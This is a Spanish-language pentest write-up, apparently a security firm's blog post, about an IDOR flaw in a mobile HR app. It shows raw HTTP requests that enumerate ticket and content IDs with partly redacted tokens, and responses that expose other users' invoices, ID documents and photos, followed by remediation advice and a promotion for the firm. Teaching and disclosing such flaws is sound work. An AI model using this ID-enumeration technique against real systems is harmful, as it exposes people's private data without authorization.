Imaginemos que tenemos una caja fuerte con múltiples compartimentos. Cada compartimento está destinado a diferentes personas con distintos niveles de acceso. Ahora, imaginemos que alguien encuentra una forma de abrir todos los compartimentos sin importar su nivel de acceso, esto es similar a lo que sucede cuando los hackers explotan vulnerabilidades en la gestión de usuarios y roles en sistemas informáticos.
Durante un pentest a una aplicación móvil, se logró identificar la vulnerabilidad Insecure Direct Object Reference (IDOR), la cual le permitía a un usuario de bajos privilegios, visualizar información de otros usuarios y de otras compañías a pesar de que cierta información estuviera alojada en la nube. En este caso, se pudo obtener prácticamente cualquier información confidencial que la aplicación almacenaba, desde DNIs, hasta facturas y fotos compartidas por usuarios que no estaba siendo destinado a nosotros.
Identificando la vulnerabilidad IDOR
Antes de realizar un análisis dinámico, se procedió a revisar el código de la aplicación —que por supuesto, no estaba ofuscado—.
Durante el análisis del código Java de la aplicación, identificamos que había algunas clases más llamativas. Estas clases, contenían código que hacían llamadas a diferentes APIs desde la aplicación.
Entre una de las clases identificadas, observamos una denominada “HelpDeskApi.class”, esta clase usaba una API de HelpDesk en el backend para volcar información como tickets, la cual podía ser consumida desde la API de la aplicación de recursos humanos.
Para corroborar si era posible acceder a información de otros identificadores, se realizó una solicitud similar a la siguiente con la cual obtuvimos información del primer ticket:
HTTP Request:
GET /helpdesk/v1/tickets/1/ HTTP/2
Host: api.appvulnerable.com
Authorization: token 229898fd93493[REDACTED]
Apikey: D5ci2tv6vR[REDACTED]
Accept-Encoding: gzip, deflate, br
User-Agent: okhttp/4.10.0
HTTP Response:
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 2776
Server: gunicorn/20.0.4
Date: Mon, 08 Apr 2024 04:15:55 GMT
Vary: Accept, Accept-Language, Cookie
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
Content-Language: es
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Access-Control-Allow-Origin: *
X-Kong-Upstream-Latency: 176
X-Kong-Proxy-Latency: 28
Via: kong/0.14.1, 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
{REDACTED,"attachments":[{"id":1,"created":"2020-06-04T01:17:27.679548Z","modified":"2020-06-
04T01:17:27.679548Z","file":"https://storage.googleapis.com/appvulnerable-helpdesk-media/media/attachments/IMG_[REDACTED].MOV","filename":"","followup":2},{"id":2,"created":"2020-06-
04T01:17:28.388301Z","modified":"2020-06-04T01:17:28.388301Z","file":"https://storage.googleapis.com/appvulnerable-helpdesk-
media/media/attachments/picture-attachment.jpg",[REDACTED]}
El atributo “file” que está en el arreglo “attachments”, obtiene el valor de un recurso guardado en https://storage.googleapis.com de un audio para el identificador “1”. El segundo identificador (2) tiene el recurso de una imagen inofensiva de un gatito.
Aunque lo anterior sea inocuo, iteramos sobre cada identificador para obtener más información relacionada a otros usuarios.
HTTP Request:
GET /helpdesk/v1/tickets/5000/ HTTP/2
Host: api.appvulnerable.com
Authorization: token 229898fd9[REDACTED]
Apikey: WVu36VT4[REDACTED]
Accept-Encoding: gzip, deflate, br
User-Agent: okhttp/4.10.0
HTTP Response:
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 7607
Server: gunicorn/20.0.4
Date: Tue, 09 Apr 2024 16:29:00 GMT
Vary: Accept, Accept-Language, Cookie
Allow: GET, PUT, PATCH, DELETE, HEAD, OPTIONS
X-Frame-Options: DENY
Content-Language: es
X-Content-Type-Options: nosniff
X-Xss-Protection: 1; mode=block
Access-Control-Allow-Origin: *
X-Kong-Upstream-Latency: 246
X-Kong-Proxy-Latency: 36
Via: kong/0.14.1, 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
{REDACTED,"answer":{"file":"https://storage.googleapis.com/appvulnerable-helpdesk-
media/media/answers/factura.jpg"},"question":969},{"id":6907,"question_represe
ntation":{"id":970,"options":[],"allowed_files_type":[],"created_at":"2021-11- 18T12:26:42.948885Z","modified_at":"2021-11-18T19:58:55.840330Z","question":"RESPALDO REQUERIEMIENTO","min_value":1,"max_value":5,"min_text":"","max_text":"","order":8,"question_type":"F","required":true},"created_at":"2021-12-13T20:12:30.005470Z","modified_at":"2021-12-13T20:12:31.418892Z","answer":{"file":"https://storage.googleapis.com/appvulnerable-helpdesk-media/media/answers/factura.jpg"},[REDACTED]}
Al seguir iterando sobre el identificador de la API, pudimos obtener DNIs, archivos de excel y cómo se administran.
Acceso a contenidos no autorizados en la aplicación
Además, se identificó que era posible acceder a contenido de la aplicación que no estaba siendo destinado para nosotros —debido a que la aplicación es multi tenant—. La siguiente solicitud permitió visualizar publicaciones que no aparecían en nuestro feed, revelando así información privada de otros usuarios de la plataforma.
HTTP Request:
GET /appvulnerable-next/api/contenido/7000/ HTTP/2
Host: api.appvulnerable.com
Content-Type: application/json;charset=UTF-8
Authorization: token 229898fd[REDACTED]
Apikey: D5ci2tv6v[REDACTED]
Accept-Encoding: gzip, deflate, br
User-Agent: okhttp/4.10.0
Content-Length: 0
HTTP Response:
HTTP/2 200 OK
Content-Type: application/json
Content-Length: 2100
Server: gunicorn/19.7.1
Date: Sun, 07 Apr 2024 00:23:15 GMT
Vary: Accept, Origin
Allow: GET, HEAD, OPTIONS
X-Frame-Options: SAMEORIGIN
Access-Control-Allow-Origin: *
X-Kong-Upstream-Latency: 290
X-Kong-Proxy-Latency: 1
Via: kong/0.14.1, 1.1 google
Alt-Svc: h3=":443"; ma=2592000,h3-29=":443"; ma=2592000
{"id":7000,"usuario":{"id":557383,"perfil":{"rut":"","nombre":null,"apellidos":null,"descripcion":"Sin cargo especificado, Sin especificar",[REDACTED],"galeria":[{"id":4305,"titulo":null,"imagen":"https://storage.googleapis.com/[REDACTED]-media/contenidos/e271426d-1f9.jpg?Expires=1712535795&GoogleAccessId=99[REDACTED]-compute%40developer.gserviceaccount.com&Signature=p96wXmemEPqwJF5dNgwB%2BnKXLvakZH%2FVachrvncRlfOR8IFMrtC[REDACTED]opvDpGnC8LHNB86SSve[REDACTED]", "orden":0}
Al acceder al recurso “storge.googleapis.com”, se identificó una foto que hacía parte de una publicación de otros usuarios de la plataforma.
¿Cómo prevenir la vulnerabilidad IDOR?
Los desarrolladores deben usar referencias indirectas ya que, el mapeo directo puede ser adivinado fácilmente por los atacantes. Se debe evitar la exposición de objetos privados a los usuarios como: nombres de archivos, URLs internas/externas, y keys de bases de datos.
Si un objeto debe ser usado directamente, el equipo de desarrollo debe asegurar a través de métodos de validación que el usuario este autorizado para ver aquello a lo que intenta acceder. En los casos de los directorios transversales, se debe determinar qué archivos son accesibles por un usuario y garantizarle los privilegios a los mismos.
Se deben implementar medidas de control tanto de autenticación como de autorización, el usuario que solicite la información debe tener privilegios de solicitarla o bien debe ser el propio usuario. Para saber más sobre esta vulnerabilidad lee el siguiente articulo: Qué es IDOR (Insecure Direct Object Reference) y cómo solucionarlo.
Conclusión
Durante este pentest, pudimos observar que a pesar de tener información guardada en al nube —considerada como segura— la explotación en las debilidades relacionadas con la gestión de usuarios y roles puede tener consecuencias devastadoras. Es crucial implementar controles robustos y verificar de manera adecuada los permisos asignados a los usuarios.
¿Necesitas hacer un pentest en tu organización? En Hackmetrix te ayudamos con este proceso, combinamos tecnología de avanzada combinada con la experiencia de nuestros hackers para identificar tus vulnerabilidades, y no solo detectarlas, también repararlas y solucionarlas. ¡Estás a un clic de hacerlo!
Escrito por: Juan David Fernández
Appsec Engineer en Hackmetrix